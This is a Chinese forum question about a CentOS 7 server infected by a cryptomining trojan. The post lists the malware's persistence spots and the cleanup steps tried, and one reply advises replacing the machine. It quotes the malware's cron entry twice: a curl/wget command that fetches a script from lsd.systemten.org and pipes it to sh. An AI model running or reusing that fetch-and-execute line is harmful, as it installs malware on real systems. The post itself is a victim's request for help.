centos7 中毒挖矿木马，找不到进程找不到脚本位置，求帮忙~

Question

1. top无占用大量CPU的进程,内存正常。
2. 目前只有crontab相关文件里面存在脚本命令（如/var/spool/cron/root; /var/spool/cron/crontabs/root; /etc/crontab; /etc/cron.d/root; /etc/bashrc ） # */30 * * * * (curl -fsSL -m180 lsd.systemten.org||wget -q -T180 -O- lsd.systemten.org)|sh
3. crontab -l 查看有个定时任务，删不掉，2中的文件无法删除，即使删除也会再次生成。 # （*/15 * * * * (curl -fsSL -m180 lsd.systemten.org||wget -q -T180 -O- lsd.systemten.org)|sh）
4. 按照定时任务crul网址打开的是个脚本：
5. 发现病毒文件/usr/bin/b1e06d5d739eeb，不知是什么文件，打开乱码，即使删除也会再次生成。
6. 开机自启项有sshservice文件，改文件有配置指向/usr/bin/b1e06d5d739eeb

8. 亡羊补牢，目前已经关闭redis，做了端口和IP限制，改了ssh端口和密码，停用了curl和wget命令，伪造假文件/usr/bin/b1e06d5d739eeb(伪造的文件一直为空)，但是一直找不到该病毒的进程和脚本位置，希望大佬们帮忙分析~

Answer 1

换机器吧，就算找到了，你确定你能删除干净吗？想找的话， 你看下你的ps ls find grep top这些命令是不是也是被污染了；把正常的进程全都停止，看下存在的活跃进程。